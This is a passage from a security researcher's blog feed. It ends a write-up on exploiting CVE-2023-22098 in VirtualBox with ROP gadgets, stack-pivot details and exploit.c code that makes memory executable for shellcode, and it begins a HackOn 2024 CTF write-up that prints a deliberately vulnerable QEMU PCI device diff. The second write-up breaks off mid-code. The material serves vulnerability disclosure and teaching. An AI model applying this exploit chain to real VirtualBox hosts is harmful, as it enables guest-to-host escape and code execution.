<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rcStrict</span> <span class="o">=</span> <span class="n">pPciDev</span><span class="o">-&gt;</span><span class="n">Int</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">pfnConfigRead</span><span class="p">(</span><span class="n">pPciDev</span><span class="o">-&gt;</span><span class="n">Int</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">CTX_SUFF</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">),</span> <span class="n">pPciDev</span><span class="p">,</span> <span class="n">config_addr</span><span class="p">,</span> <span class="n">cb</span><span class="p">,</span> <span class="n">pu32Value</span><span class="p">);</span>
</code></pre></div></div>

<p>In fact, if you want to debug the ROP chain, I recommend setting a breakpoint at this location: <code class="language-plaintext highlighter-rouge">src/VBox/Devices/Bus/DevPCI.cpp:216</code>.</p>

<p>RAX contains the address of <code class="language-plaintext highlighter-rouge">pDevInsR3</code>, with an additional offset of + 0x10 because we modified it earlier:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/rop1.png" alt="ROP 1" width="1000" loading="lazy" /></p>

<p>We have some powerful gadgets at our disposal, such as:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00000000004d1a2f: push rax<span class="p">;</span> pop rsp<span class="p">;</span> nop<span class="p">;</span> pop rbp<span class="p">;</span> ret<span class="p">;</span>
</code></pre></div></div>

<p>This will allow us to pivot the stack:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/rop2.png" alt="ROP 2" width="464" loading="lazy" /></p>

<p>Additionally, since we can modify the pointer to pDevInsR3, we can make <code class="language-plaintext highlighter-rouge">RSP</code> point to a controlled and “safe” area,
ensuring that we don’t overwrite important content that could cause crashes.</p>

<p>What are our objectives with the ROP chain? Well, the simplest way to execute our code is through a shellcode, but to do
that, we need to give the memory region where it’s stored execution permissions. This is why we could attempt to make a
call to <code class="language-plaintext highlighter-rouge">mprotect</code>. However, <code class="language-plaintext highlighter-rouge">mprotect</code> is located in the <code class="language-plaintext highlighter-rouge">libc.so</code>, and we don’t have a leak for libc. An alternative
approach would be to use <code class="language-plaintext highlighter-rouge">RTMemProtect</code>, but we don’t know its address either, as it is located in <code class="language-plaintext highlighter-rouge">VBoxRT.so</code>.</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/rtmemprotect.png" alt="RTMemProtect" width="1000" loading="lazy" /></p>

<p>However, we can try to dynamically resolve the address of <code class="language-plaintext highlighter-rouge">RTMemProtect</code>. If we take a look at the entries in the GOT,
for example, we have the address of <code class="language-plaintext highlighter-rouge">RTErrInfoSet</code>, which is located in <code class="language-plaintext highlighter-rouge">VBoxRT.so</code>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00007fffb07e4ed8 - 0x00007fffb07e4fe8 is .got <span class="k">in</span> /home/diego/Research/VirtualBox-7.0.10/out/linux.amd64/debug/bin/VBoxDD.so
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/vboxrt-so.png" alt="VBoxRT.so" width="1000" loading="lazy" /></p>

<p>And we have gadgets like:</p>

<p class="code-title">Gadgets</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00000000000656a0: add rax, rdx<span class="p">;</span> pop rbp<span class="p">;</span> ret<span class="p">;</span>
</code></pre></div></div>

<p>Of course, we also have:</p>

<p class="code-title">Gadgets</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x00000000000ac71a: pop rdx<span class="p">;</span> ret<span class="p">;</span>
0x00000000001d8489: pop rax<span class="p">;</span> ret<span class="p">;</span>
</code></pre></div></div>

<p>At this point, we have the address of RTMemProtect in RAX:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/rop3.png" alt="ROP 3" width="487" loading="lazy" /></p>

<p>Now we can write that address to the memory region where we’re constructing the ROP chain, allowing us to call
<code class="language-plaintext highlighter-rouge">RTMemProtect</code> later. After that, the only task left is to set up the arguments for the call:</p>

<p class="code-title">exploit.c</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">oob_write</span><span class="p">(</span><span class="n">dev</span><span class="p">,</span> <span class="n">vdev</span><span class="p">,</span> <span class="n">VBoxDD_addr</span> <span class="o">+</span> <span class="n">pop_rdi_ret</span><span class="p">,</span> <span class="n">PDMPCIDEVINT_s</span> <span class="o">+</span> <span class="n">ROP_off</span> <span class="o">+</span>  <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">13</span><span class="p">)</span> <span class="o">-</span> <span class="n">aVlanFilter_off</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span> <span class="c1">//pop rdi</span>
<span class="n">oob_write</span><span class="p">(</span><span class="n">dev</span><span class="p">,</span> <span class="n">vdev</span><span class="p">,</span> <span class="n">pDevInsR3_addr</span> <span class="o">+</span> <span class="mh">0x3000</span> <span class="o">-</span> <span class="mh">0x200</span> <span class="o">-</span> <span class="mh">0x200</span><span class="p">,</span> <span class="n">PDMPCIDEVINT_s</span> <span class="o">+</span> <span class="n">ROP_off</span> <span class="o">+</span> <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">14</span><span class="p">)</span> <span class="o">-</span> <span class="n">aVlanFilter_off</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span> <span class="c1">//rdi value</span>
<span class="n">oob_write</span><span class="p">(</span><span class="n">dev</span><span class="p">,</span> <span class="n">vdev</span><span class="p">,</span> <span class="n">VBoxDD_addr</span> <span class="o">+</span> <span class="n">pop_rsi_ret</span><span class="p">,</span> <span class="n">PDMPCIDEVINT_s</span> <span class="o">+</span> <span class="n">ROP_off</span> <span class="o">+</span>  <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">15</span><span class="p">)</span> <span class="o">-</span> <span class="n">aVlanFilter_off</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span> <span class="c1">//pop rsi</span>
<span class="n">oob_write</span><span class="p">(</span><span class="n">dev</span><span class="p">,</span> <span class="n">vdev</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PDMPCIDEVINT_s</span> <span class="o">+</span> <span class="n">ROP_off</span>                    <span class="o">+</span> <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">16</span><span class="p">)</span>  <span class="o">-</span> <span class="n">aVlanFilter_off</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span> <span class="c1">//rsi value</span>
<span class="n">oob_write</span><span class="p">(</span><span class="n">dev</span><span class="p">,</span> <span class="n">vdev</span><span class="p">,</span> <span class="n">VBoxDD_addr</span> <span class="o">+</span> <span class="n">pop_rdx_ret</span><span class="p">,</span> <span class="n">PDMPCIDEVINT_s</span> <span class="o">+</span> <span class="n">ROP_off</span> <span class="o">+</span>  <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">17</span><span class="p">)</span> <span class="o">-</span> <span class="n">aVlanFilter_off</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span> <span class="c1">//pop rdx</span>
<span class="n">oob_write</span><span class="p">(</span><span class="n">dev</span><span class="p">,</span> <span class="n">vdev</span><span class="p">,</span> <span class="n">RTMEM_PROT_READ</span> <span class="o">|</span> <span class="n">RTMEM_PROT_WRITE</span> <span class="o">|</span> <span class="n">RTMEM_PROT_EXEC</span><span class="p">,</span> <span class="n">PDMPCIDEVINT_s</span> <span class="o">+</span> <span class="n">ROP_off</span> <span class="o">+</span> <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">18</span><span class="p">)</span> <span class="o">-</span> <span class="n">aVlanFilter_off</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span> <span class="c1">//rdx value</span>
</code></pre></div></div>

<p>After all this, you can see that the permissions have changed and are now rwx.</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/vmmap-rwx.png" alt="RWX" width="818" loading="lazy" /></p>

<p>The only thing remaining is to trigger the <code class="language-plaintext highlighter-rouge">pfnConfigRead</code> callback.</p>

<h2 id="demo">Demo</h2>

<div class="post-video"><iframe src="https://www.youtube.com/embed/AYLmDTJLAJ8" title="Demo" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" loading="lazy"></iframe></div>

<h2 id="full-exploit">Full exploit</h2>

<p>You can find the full exploit on my <a href="https://github.com/Diego-AltF4/CVE-2023-22098">GitHub repository</a>.</p>

<p>I hope you enjoyed it!</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="https://developer.ibm.com/articles/l-virtio/">Virtio: An I/O virtualization framework for Linux</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:1:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://docs.kernel.org/driver-api/virtio/virtio.html">Virtio on Linux</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:2:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><a href="https://www.redhat.com/en/blog/introduction-virtio-networking-and-vhost-net">Introduction to virtio-networking and vhost-net</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a> <a href="#fnref:3:1" class="reversefootnote" role="doc-backlink">&#8617;<sup>2</sup></a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://ozlabs.org/~rusty/virtio-spec/virtio-paper.pdf">VirtIo paper</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><summary type="html"><![CDATA[Join me for an in-depth analysis of CVE-2023-22098.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/cve-2023-22098/banner.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/cve-2023-22098/banner.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Quememu Writeup HackOn 2024 CTF</title><link href="https://diegoaltf4.com/quememu-writeup/" rel="alternate" type="text/html" title="Quememu Writeup HackOn 2024 CTF" /><published>2024-04-14T08:00:00+00:00</published><updated>2024-04-14T08:00:00+00:00</updated><id>https://diegoaltf4.com/quememu-writeup-hackon-2024-ctf</id><content type="html" xml:base="https://diegoaltf4.com/quememu-writeup/"><![CDATA[<p><em>This post is a collaboration with my friend David Billhardt!</em></p>

<h2 id="intro">Intro</h2>

<p><img class="post-img" src="/assets/posts/quememu-writeup/preview.png" alt="Challenge Preview" width="400" loading="lazy" /></p>

<p>We created a few challenges for the HackOn CTF. One of them was a Qemu Escape challenge. To obtain the flag, the user must escape Qemu and read the flag that’s located in the host.</p>

<p>In this post, we are going to explain in depth how to solve the challenge. You can download the challenge <a href="https://github.com/PwnKebab/PwnChalls/tree/main/Created/HackOn2024/Quememu/public">here</a>.</p>

<h2 id="understanding-the-provided-info">Understanding the provided info</h2>

<p>In this challenge, we can see a few files:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/Downloads/quememu » tree
<span class="nb">.</span>
├── Dockerfile
├── deploy_docker.sh
├── diff.txt
├── docker-compose.yml
├── flag
├── initramfs.cpio.gz
├── pc-bios
    ...
├── qemu-system-x86_64
├── run.sh
├── vmlinuz-5.15.0-92-generic
└── xinetd
</code></pre></div></div>

<p>The file <code class="language-plaintext highlighter-rouge">diff.txt</code> sounds interesting. Let’s see its content:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">commit 40192e9557fccd3982e17d533fae9f1b0103624d
Author: Pwnkebab &lt;pwnkebab@gmail.com&gt;
Date:   Tue Feb 6 16:13:11 2024 +0000
</span>
    QueMemu device

diff --git a/hw/misc/meson.build b/hw/misc/meson.build
<span class="gh">index e4ef1da5a5..022755ced9 100644
</span><span class="gd">--- a/hw/misc/meson.build
</span><span class="gi">+++ b/hw/misc/meson.build
</span><span class="p">@@ -153,6 +153,8 @@</span> specific_ss.add(when: 'CONFIG_MIPS_CPS', if_true: files('mips_cmgcr.c', 'mips_cp
 specific_ss.add(when: 'CONFIG_MIPS_ITU', if_true: files('mips_itu.c'))

 system_ss.add(when: 'CONFIG_SBSA_REF', if_true: files('sbsa_ec.c'))
<span class="gi">+system_ss.add(files('quememu.c'))
+
</span>
 # HPPA devices
 system_ss.add(when: 'CONFIG_LASI', if_true: files('lasi.c'))
<span class="gh">diff --git a/hw/misc/quememu.c b/hw/misc/quememu.c
</span><span class="p">new file mode 100644
</span><span class="gh">index 0000000000..c4c0b2ca77
</span><span class="gd">--- /dev/null
</span><span class="gi">+++ b/hw/misc/quememu.c
</span><span class="p">@@ -0,0 +1,176 @@</span>
<span class="gi">+#include "qemu/osdep.h"
+#include "qemu/units.h"
+#include "hw/pci/pci.h"
+#include "hw/hw.h"
+#include "hw/pci/msi.h"
+#include "qemu/timer.h"
+#include "qom/object.h"
+#include "qemu/module.h"
+#include "qapi/visitor.h"
+#include &lt;math.h&gt;
+
+#define TYPE_PCI_QUEMEMU_DEVICE "quememu"
+#define QUEMEMU_MMIO_SIZE 0x10000
+#define BUFF_SIZE 0x10000
+#define MAX_BASE 20
+#define MAX_RW BUFF_SIZE - (pow(MAX_BASE,3)*0x7 + pow(MAX_BASE,2)*0xF + MAX_BASE*0xF + 0xF - 1)
+
+typedef unsigned char base_t;
+
+typedef struct{
+    PCIDevice pdev;
+    MemoryRegion mmio;
+    char buff[BUFF_SIZE];
+    struct {
+        base_t base;
+        short off;
+		hwaddr src;
+	} state;
+} QueMemuState;
+
+DECLARE_INSTANCE_CHECKER(QueMemuState, QUEMEMU, TYPE_PCI_QUEMEMU_DEVICE)
+
+static unsigned char consume_nibble(unsigned short *n)
+{
+	unsigned char nibble = *n&lt;&lt;4;
+	nibble = nibble&gt;&gt;4;
+	*n = *n&gt;&gt;4;
+
+	return nibble;
+}
+
+static void trigger_rw(QueMemuState *quememu, bool is_write)
+{
+    if (quememu-&gt;state.base == 0)
+        return;
+
+    if (quememu-&gt;state.base == 0x10) // Don't change base cause we already use base 16
+    {
+        cpu_physical_memory_rw(quememu-&gt;state.src, &amp;quememu-&gt;buff[quememu-&gt;state.off], MAX_RW, is_write);
+        return;
+    }
+
+    unsigned short n = quememu-&gt;state.off;
+	unsigned long long multiplier = 1, new_off = 0;
+
+	for (int i = 0; i &lt; sizeof(n)*2; ++i)
+	{
+        // Use nibble % base (e.g. 7 in base 3 = 1)
+        new_off += (consume_nibble(&amp;n) % quememu-&gt;state.base) * multiplier;
+		multiplier *= quememu-&gt;state.base;
+	}
+    cpu_physical_memory_rw(quememu-&gt;state.src, &amp;quememu-&gt;buff[new_off], MAX_RW, is_write);
+}
+
+static uint64_t quememu_mmio_read(void *opaque, hwaddr addr, unsigned size) {
+    QueMemuState *quememu = (QueMemuState *)opaque;
+    uint64_t val = 0;
+    switch (addr)
+    {
+        case 0x00:
+            trigger_rw(quememu, 1);
+            break;
+        case 0x04:
+            val = quememu-&gt;state.base;
+            break;
+        case 0x08:
+            val = quememu-&gt;state.off;
+            break;
+        case 0x0c:
+            val = quememu-&gt;state.src;
+            break;
+        default:
+            val = 0xFABADA;
+            break;
+    }
+    return val;
+}
+
+static void quememu_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
+    QueMemuState *quememu = (QueMemuState *)opaque;
+    switch (addr)
+    {
+        case 0x00:
+            trigger_rw(quememu, 0);
+            break;
+        case 0x04:
+            if ((base_t) val &lt;= MAX_BASE) quememu-&gt;state.base = val;
+            break;
+        case 0x08:
+            if ((short) val &gt;= 0) quememu-&gt;state.off = val;
+            break;
+        case 0x0c:
+            quememu-&gt;state.src = val;
+            break;
+        default:
+            break;
+    }
+}
+
+static const MemoryRegionOps quememu_mmio_ops =
+{
+    .read = quememu_mmio_read,
+    .write = quememu_mmio_write,
+    .endianness = DEVICE_NATIVE_ENDIAN,
+    .valid =
+    {
+        .min_access_size = 4,
+        .max_access_size = 4,
+    },
+    .impl =
+    {
+        .min_access_size = 4,
+        .max_access_size = 4,
+    },
+};
+
+static void pci_quememu_realize(PCIDevice *pdev, Error **errp)
+{
+    QueMemuState *quememu = QUEMEMU(pdev);
+    memory_region_init_io(&amp;quememu-&gt;mmio, OBJECT(quememu), &amp;quememu_mmio_ops, quememu, "quememu-mmio", QUEMEMU_MMIO_SIZE);
+    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &amp;quememu-&gt;mmio);
+}
+
+static void quememu_instance_init(Object *obj)
+{
+    QueMemuState *quememu = QUEMEMU(obj);
+    memset(&amp;quememu-&gt;state, 0, sizeof(quememu-&gt;state));
+    memset(quememu-&gt;buff, 0, sizeof(quememu-&gt;buff));
+}
+
+static void quememu_class_init(ObjectClass *class, void *data)
+{
+    DeviceClass *dc = DEVICE_CLASS(class);
+    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
+    k-&gt;realize = pci_quememu_realize;
+    k-&gt;vendor_id = PCI_VENDOR_ID_QEMU;
+    k-&gt;device_id = 0xFACE;
+    k-&gt;revision = 0x0;
+    k-&gt;class_id = PCI_CLASS_OTHERS;
+
+    set_bit(DEVICE_CATEGORY_MISC, dc-&gt;categories);
+}
+
+static void pci_quememu_register_types(void)
+{
+    static InterfaceInfo interfaces[] =
+    {
+        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
+        { },
+    };
+    static const TypeInfo quememu_info =
+    {
+        .name = TYPE_PCI_QUEMEMU_DEVICE,
+        .parent = TYPE_PCI_DEVICE,
+        .instance_size = sizeof(QueMemuState),
+        .instance_init = quememu_instance_init,
+        .class_init = quememu_class_init,
+        .interfaces = interfaces,
+    };
+
+    type_register_static(&amp;quememu_info);
+}
+
+type_init(pci_quememu_register_types)
</span></code></pre></div></div>

<p>As you can see, a new device has been added <code class="language-plaintext highlighter-rouge">/hw/misc/quememu.c</code>. Also, the <code class="language-plaintext highlighter-rouge">qemu-system-x86_64</code> has been compiled including this device (<code class="language-plaintext highlighter-rouge">meson.build</code>).</p>

<h2 id="analyzing-the-device">Analyzing the device</h2>

<p>In the <code class="language-plaintext highlighter-rouge">pci_quememu_register_types</code> function, the device is registered:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">pci_quememu_register_types</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">static</span> <span class="n">InterfaceInfo</span> <span class="n">interfaces</span><span class="p">[]</span> <span class="o">=</span>
    <span class="p">{</span>
        <span class="p">{</span> <span class="n">INTERFACE_CONVENTIONAL_PCI_DEVICE</span> <span class="p">},</span>
        <span class="p">{</span> <span class="p">},</span>
    <span class="p">};</span>
    <span class="k">static</span> <span class="k">const</span> <span class="n">TypeInfo</span> <span class="n">quememu_info</span> <span class="o">=</span>
    <span class="p">{</span>
        <span class="p">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">TYPE_PCI_quememu_DEVICE</span><span class="p">,</span>
        <span class="p">.</span><span class="n">parent</span> <span class="o">=</span> <span class="n">TYPE_PCI_DEVICE</span><span class="p">,</span>
        <span class="p">.</span><span class="n">instance_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">quememuState</span><span class="p">),</span>
        <span class="p">.</span><span class="n">instance_init</span> <span class="o">=</span> <span class="n">quememu_instance_init</span><span class="p">,</span>
        <span class="p">.</span><span class="n">class_init</span> <span class="o">=</span> <span class="n">quememu_class_init</span><span class="p">,</span>
        <span class="p">.</span><span class="n">interfaces</span> <span class="o">=</span> <span class="n">interfaces</span><span class="p">,</span>
    <span class="p">};</span>

    <span class="n">type_register_static</span><span class="p">(</span><span class="o">&amp;</span><span class="n">quememu_info</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">type_init</span><span class="p">(</span><span class="n">pci_quememu_register_types</span><span class="p">)</span>
</code></pre></div></div>

<p>In the <code class="language-plaintext highlighter-rouge">quememu_class_init</code> function there are defined some characteristics of the device like the device id (<code class="language-plaintext highlighter-rouge">0xFACE</code>) which is going to be useful to identify the device:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">quememu_class_init</span><span class="p">(</span><span class="n">ObjectClass</span> <span class="o">*</span><span class="n">class</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">DeviceClass</span> <span class="o">*</span><span class="n">dc</span> <span class="o">=</span> <span class="n">DEVICE_CLASS</span><span class="p">(</span><span class="n">class</span><span class="p">);</span>
    <span class="n">PCIDeviceClass</span> <span class="o">*</span><span class="n">k</span> <span class="o">=</span> <span class="n">PCI_DEVICE_CLASS</span><span class="p">(</span><span class="n">class</span><span class="p">);</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">realize</span> <span class="o">=</span> <span class="n">pci_quememu_realize</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">vendor_id</span> <span class="o">=</span> <span class="n">PCI_VENDOR_ID_QEMU</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">device_id</span> <span class="o">=</span> <span class="mh">0xFACE</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">revision</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="n">k</span><span class="o">-&gt;</span><span class="n">class_id</span> <span class="o">=</span> <span class="n">PCI_CLASS_OTHERS</span><span class="p">;</span>

    <span class="n">set_bit</span><span class="p">(</span><span class="n">DEVICE_CATEGORY_MISC</span><span class="p">,</span> <span class="n">dc</span><span class="o">-&gt;</span><span class="n">categories</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Also, in the <code class="language-plaintext highlighter-rouge">pci_quememu_realize</code> function we can see that an <code class="language-plaintext highlighter-rouge">MMIO</code> region is registered. This region is going to allow us to do <code class="language-plaintext highlighter-rouge">I/O</code> operations between the virtual machine and the device:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">pci_quememu_realize</span><span class="p">(</span><span class="n">PCIDevice</span> <span class="o">*</span><span class="n">pdev</span><span class="p">,</span> <span class="n">Error</span> <span class="o">**</span><span class="n">errp</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">QueMemuState</span> <span class="o">*</span><span class="n">quememu</span> <span class="o">=</span> <span class="n">QUEMEMU</span><span class="p">(</span><span class="n">pdev</span><span class="p">);</span>
    <span class="n">memory_region_init_io</span><span class="p">(</span><span class="o">&amp;</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">mmio</span><span class="p">,</span> <span class="n">OBJECT</span><span class="p">(</span><span class="n">quememu</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">quememu_mmio_ops</span><span class="p">,</span> <span class="n">quememu</span><span class="p">,</span> <span class="s">"quememu-mmio"</span><span class="p">,</span> <span class="n">QUEMEMU_MMIO_SIZE</span><span class="p">);</span>
    <span class="n">pci_register_bar</span><span class="p">(</span><span class="n">pdev</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">PCI_BASE_ADDRESS_SPACE_MEMORY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">quememu</span><span class="o">-&gt;</span><span class="n">mmio</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When <code class="language-plaintext highlighter-rouge">memory_region_init_io</code> is called, the <code class="language-plaintext highlighter-rouge">quememu_mmio_ops</code> structure is passed as an argument.</p>

<p>This structure defines the callbacks. Each time a read or write is to be performed, the callbacks will be executed:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="n">MemoryRegionOps</span> <span class="n">quememu_mmio_ops</span> <span class="o">=</span>
<span class="p">{</span>
    <span class="p">.</span><span class="n">read</span> <span class="o">=</span> <span class="n">quememu_mmio_read</span><span class="p">,</span>
    <span class="p">.</span><span class="n">write</span> <span class="o">=</span> <span class="n">quememu_mmio_write</span><span class="p">,</span>
    <span class="p">.</span><span class="n">endianness</span> <span class="o">=</span> <span class="n">DEVICE_NATIVE_ENDIAN</span><span class="p">,</span>
    <span class="p">.</span><span class="n">valid</span> <span class="o">=</span>
    <span class="p">{</span>
        <span class="p">.</span><span class="n">min_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
        <span class="p">.</span><span class="n">max_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="p">.</span><span class="n">impl</span> <span class="o">=</span>
    <span class="p">{</span>
        <span class="p">.</span><span class="n">min_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
        <span class="p">.</span><span class="n">max_access_size</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span>
    <span class="p">},</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The function associated with the read is <code class="language-plaintext highlighter-rouge">quememu_mmio_read</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">uint64_t</span> <span class="nf">quememu_mmio_read</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">QueMemuState</span> <span class="o">*</span><span class="n">quememu</span> <span class="o">=</span> <span class="p">(</span><span class="n">QueMemuState</span> <span class="o">*</span><span class="p">)</span><span class="n">opaque</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="mh">0x00</span><span class="p">:</span>
            <span class="n">trigger_rw</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x04</span><span class="p">:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">base</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x08</span><span class="p">:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x0c</span><span class="p">:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">src</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="n">val</span> <span class="o">=</span> <span class="mh">0xFABADA</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">val</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And the function associated with the write is <code class="language-plaintext highlighter-rouge">quememu_mmio_write</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">quememu_mmio_write</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">val</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">QueMemuState</span> <span class="o">*</span><span class="n">quememu</span> <span class="o">=</span> <span class="p">(</span><span class="n">QueMemuState</span> <span class="o">*</span><span class="p">)</span><span class="n">opaque</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="mh">0x00</span><span class="p">:</span>
            <span class="n">trigger_rw</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x04</span><span class="p">:</span>
            <span class="k">if</span> <span class="p">((</span><span class="n">base_t</span><span class="p">)</span> <span class="n">val</span> <span class="o">&lt;=</span> <span class="n">MAX_BASE</span><span class="p">)</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">base</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x08</span><span class="p">:</span>
            <span class="k">if</span> <span class="p">((</span><span class="kt">short</span><span class="p">)</span> <span class="n">val</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span> <span class="n">quememu</span><span class="o">-&gt;</span><span class="n">state</span><span class="p">.</span><span class="n">off</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="mh">0x0c</span><span class="p">:</span>
